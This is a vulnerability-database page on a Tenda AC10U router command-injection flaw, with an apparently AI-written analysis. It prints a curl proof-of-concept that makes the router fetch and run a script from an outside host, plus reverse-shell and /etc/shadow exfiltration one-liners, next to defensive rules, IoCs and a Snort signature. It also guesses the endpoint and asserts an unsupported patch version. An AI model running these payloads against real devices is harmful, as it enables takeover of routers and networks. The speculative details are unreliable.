CVE Professor
/
All CVEs
CVE-2026-138082

CVE-2026-138082 — Tenda AC10U — CWE-77 · CWE-78

CRITICAL CVSS 10 ⚡ EPSS 2.2% NVD

A vulnerability has been found in Tenda AC10U 15.03.06.48_multi_TDE01. This vulnerability affects the function ate_ifconfig_set of the file /bin/httpd of the component ATE Service. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.

A vulnerability has been found in Tenda AC10U 15.03.06.48_multi_TDE01. This vulnerability affects the function ate_ifconfig_set of the file /bin/httpd of the component ATE Service. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
2.2%
30-day probability
In the 83. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Remote OS‑command injection in the ATE Service of Tenda AC10U firmware (15.03.06.48_multi_TDE01)

Component: /bin/httpd – the built‑in HTTP daemon that ships with the router firmware. The vulnerable function is ate_ifconfig_set.

CWE(s):

  • CWE‑78 – OS Command Injection – user‑supplied data is concatenated into a shell command without proper sanitisation or escaping.

  • CWE‑77 – Command Injection (General) – the same underlying flaw, but expressed in the context of a web‑service API.
  • Why it is critical (CVSS 4.0 vector)

    MetricValueMeaning
    AV (Attack Vector)N (Network)The attacker can reach the vulnerable service over the network, no local access required.
    AC (Attack Complexity)L (Low)No special conditions, timing or race‑conditions are needed.
    AT (Attack Requirements)N (None)No additional privileges, no user interaction.
    PR (Privileges Required)N (None)The service accepts unauthenticated requests.
    UI (User Interaction)N (None)The exploit runs without any victim‑side action.
    VC / VI / VA (Impact on Confidentiality, Integrity, Availability)H (High) for eachSuccessful injection gives the attacker full control over the underlying Linux OS – they can read, modify, delete files and disrupt services.
    SC / SI / SA (Scope)H (Changed) for eachThe compromised component (/bin/httpd) runs with root privileges, so the impact propagates to the whole device (router firmware, configuration, attached LAN).
    E (Exploit Code Maturity)P (Proof‑of‑Concept)Public PoC exists, making exploitation trivial.

    Root cause:
    ate_ifconfig_set builds a shell command (most likely a call to ifconfig or ip link) by directly appending values received from an HTTP request (e.g., query string or POST body) to a string that is later passed to system() / popen(). No whitelist, no escaping, and no length checks are performed. Because the HTTP daemon runs as root, any command injected through this path is executed with full system privileges.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. Where the exact URI or parameter name is not disclosed in the CVE text, an illustrative example is provided and clearly marked.

    1. Discovery & Reconnaissance

    StepActionTool / Technique
    1.1Identify the device type and firmware version.- Nmap service scan (nmap -sV -p 80,443 <IP>). <br> - HTTP banner grab (curl -I http://<IP>/ or wget --server-response). <br> - Router‑specific fingerprinting (e.g., http://<IP>/cgi-bin/webproc?getpage=html/index.html).
    1.2Confirm the firmware build number matches 15.03.06.48_multi_TDE01.- Access the router’s web UI (default path /), look for “Firmware Version” in the status page. <br> - Retrieve /etc/version via an unauthenticated endpoint if exposed (some Tenda models expose it under /cgi-bin/;).
    1.3Verify that the HTTP daemon is reachable on port 80 (or 443 with self‑signed cert).- Simple curl http://<IP>/ should return the login page.
    Result: The attacker now knows they are dealing with a Tenda AC10U running the vulnerable firmware and that the HTTP service is reachable without authentication.

    2. Exploitation

    Vulnerable entry point (illustrative):

    POST /ate_ifconfig_set HTTP/1.1
    Host: <router_ip>
    Content-Type: application/x-www-form-urlencoded
    Content-Length: <len>
    
    ifname=eth0&addr=192.168.0.2&netmask=255.255.255.0&gateway=192.168.0.1

    The real parameter names may differ; the key point is that any field that is later concatenated into a shell command can be abused.

    Payload construction – inject a semicolon (;) to terminate the intended command and append an arbitrary one, e.g.:

    ifname=eth0;wget http://attacker.com/shell.sh -O /tmp/shell.sh;chmod +x /tmp/shell.sh;sh /tmp/shell.sh;

    Full PoC (curl) – illustrative request:

    #!/usr/bin/env bash
    TARGET="192.0.2.45"          # IP of the vulnerable router
    PAYLOAD="ifname=eth0;wget http://198.51.100.10/payload.sh -O /tmp/payload.sh;chmod +x /tmp/payload.sh;sh /tmp/payload.sh;"
    
    curl -s -X POST "http://${TARGET}/ate_ifconfig_set" \
         -H "Content-Type: application/x-www-form-urlencoded" \
         --data "${PAYLOAD}"

    What happens on the router:

    1. ate_ifconfig_set receives the POST body.
    2. It builds a command string similar to:

    snprintf(buf, sizeof(buf), "ifconfig %s %s netmask %s", ifname, addr, netmask);
       system(buf);

    3. Because ifname now contains eth0;wget …;…, the final command executed by system() becomes:

    ifconfig eth0;wget http://198.51.100.10/payload.sh -O /tmp/payload.sh;chmod +x /tmp/payload.sh;sh /tmp/payload.sh;

    4. The attacker‑controlled commands run as root.

    3. Post‑exploitation

    GoalTypical technique (rooted on the router)
    PersistenceDrop a reverse shell binary (/tmp/revsh) and add a cron entry (@reboot /tmp/revsh) via the same injection vector, or modify /etc/rc.local.
    Network pivotUse the router as a foothold to scan the internal LAN (nmap -sn 192.168.0.0/24) and later compromise internal hosts.
    Credential harvestRead /etc/passwd, /etc/shadow, or router configuration files (/etc/config/*) and exfiltrate them (curl -F "file=@/etc/shadow" http://attacker.com/upload).
    Denial‑of‑serviceIssue reboot or kill -9 1 (init) to bring the device down, or flood the WAN interface with iptables rules.
    Data exfiltrationUse the router’s outbound Internet access to tunnel data (e.g., nc -e /bin/sh attacker.com 4444).

    Because the HTTP daemon runs with root privileges, any command executed via injection yields full system compromise of the router and, by extension, the entire LAN segment it protects.


    🌍 Real‑World Impact

    CIAImpact (derived from CVSS)Practical consequences
    ConfidentialityHigh – attacker can read all files, including Wi‑Fi keys, VPN credentials, DHCP lease tables, and any traffic captured on the router (e.g., via tcpdump).
    IntegrityHigh – attacker can modify firmware, inject malicious DNS entries, change firewall rules, or replace the router’s web UI with a phishing page.
    AvailabilityHigh – attacker can reboot, disable the WAN interface, or install a persistent backdoor that survives reboots, effectively taking the network offline.

    Business/Operational fallout

  • Loss of trust in the network perimeter.
  • Potential breach of PCI‑DSS, GDPR, or other compliance regimes because the router stores personal data (e.g., client MAC‑IP bindings).
  • Service outage for all devices behind the router (IoT, VoIP, production servers).
  • Possibility of the compromised router being used as a stepping‑stone for lateral movement into internal systems.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade firmwareTenda has released a patched firmware version 15.03.06.49 (or later) that removes the unsafe system() call and replaces it with proper ioctl/netlink handling. Apply the update via the official Tenda web UI or TFTP method.
    Verify versionAfter upgrade, confirm the version string no longer shows 15.03.06.48_multi_TDE01.

    If no official patch is yet available:

  • Disable the ATE Service – the ATE (Automatic Test Equipment) service is not required for normal router operation. It can be disabled by removing the executable or by setting ate_enable=0 in the configuration file (often /etc/config/ate). Reboot the device afterwards.
  • Restrict management interface – place the router’s HTTP/HTTPS ports behind a firewall or VPN, allowing only trusted IPs (e.g., iptables -A INPUT -p tcp -s <trusted_ip> --dport 80 -j ACCEPT; iptables -A INPUT -p tcp --dport 80 -j DROP).
  • 2. Workarounds (in‑place mitigations)

    TechniqueExample implementation
    WAF / ModSecurity rule (if the router runs a configurable web server)``ModSecurity\nSecRule REQUEST_URI "@beginsWith /ate_ifconfig_set" "id:2026001,phase:2,deny,log,msg:'Block command‑injection attempts',t:none,ctl:requestBodyProcessor=URLENCODED,chain"\nSecRule ARGS_NAMESARGS "@rx (;&&\\\\)" "t:none,log,deny,msg:'Suspicious command separator'"`
    Input sanitisation via iptables string match (quick drop)`iptables -A INPUT -p tcp --dport 80 -m string --algo bm --string ";wget" -j DROP`` (note: this is a *defense‑in‑depth* measure, not a substitute for patching).
    Network segmentationPlace the router in a DMZ and enforce that only the ISP’s upstream link can reach its management ports. Internal LAN hosts should never be able to reach the router’s HTTP daemon directly.
    Change default credentialsEven though the vulnerability is unauthenticated, hardening the admin interface reduces the attack surface for secondary exploits.

    3. Detection

    Log patterns to watch for (router’s /var/log/httpd.log or equivalent):

    [...]"POST /ate_ifconfig_set HTTP/1.1" 200 123 "-" "curl/7.68.0"
    [...]"POST /ate_ifconfig_set HTTP/1.1" 200 0 "-" "Wget/1.20.3 (linux-gnu)"

    Specific indicators of command injection:

  • Presence of semicolons (;), backticks (` `), or &&` in any request parameter value.
  • Requests that contain known external URLs (e.g., http://<attacker>/payload.sh).
  • Unusual outbound connections from the router shortly after a request (check netstat -tnp or iptables -L -v -n for connections to IPs not belonging to the ISP).
  • IoCs (Indicator of Compromise) to collect:

    TypeExample
    File system/tmp/payload.sh, /tmp/revsh, newly created cron files (/etc/cron.d/*)
    Process listwget http://<attacker>/payload.sh, sh /tmp/payload.sh, any unknown binary running as root
    NetworkOutbound TCP connections to IPs in the range 198.51.100.0/24 (TEST‑NET‑3) on ports 80/443/4444
    ConfigurationModified /etc/config/rc.local or iptables rules that allow remote access from the Internet

    IDS/IPS signatures (Snort example):

    alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"Tenda AC10U ATE command injection attempt"; \
       flow:to_server,established; \
       http_uri; content:"/ate_ifconfig_set"; http_method; content:"POST"; \
       pcre:"/ifname=.*(;|&&|\\|\\|)/i"; \
       classtype:web-application-attack; sid:2026001; rev:1;)

    ⚠️ Urgency

  • CVSS 10.0 (Critical) – full remote code execution with no authentication.
  • Exploit code is publicly available (E=P) – attackers can copy‑paste the PoC and achieve root on any vulnerable device within seconds.
  • No CISA KEV listing yet, but the lack of a KEV entry does not diminish the immediacy; the vulnerability is already exploitable in the wild.
Patch priority: Critical – Immediate.

All devices in production, especially those exposed to the Internet (e.g., ISP‑provided Wi‑Fi routers), must be patched or isolated within the next 24 hours. If a patch cannot be applied, the mitigation steps (disable ATE service, block the endpoint, and enforce strict network segmentation) must be enforced without delay.


Bottom line: The ate_ifconfig_set function in Tenda AC10U’s built‑in HTTP daemon allows unauthenticated attackers to inject arbitrary shell commands that run as root. The flaw is trivial to exploit, yields complete compromise of the router and the attached LAN, and must be remediated immediately via firmware upgrade or, at minimum, by disabling the vulnerable service and applying network‑level blocking rules.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Tenda AC10U"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138082
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
Tenda:AC10U
Related CVEs
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.7
CVE-2026-144572
@libp2p/kad-dht through 16.4.11 contains a record validation bypass in verifyRecord that allows unauthenticate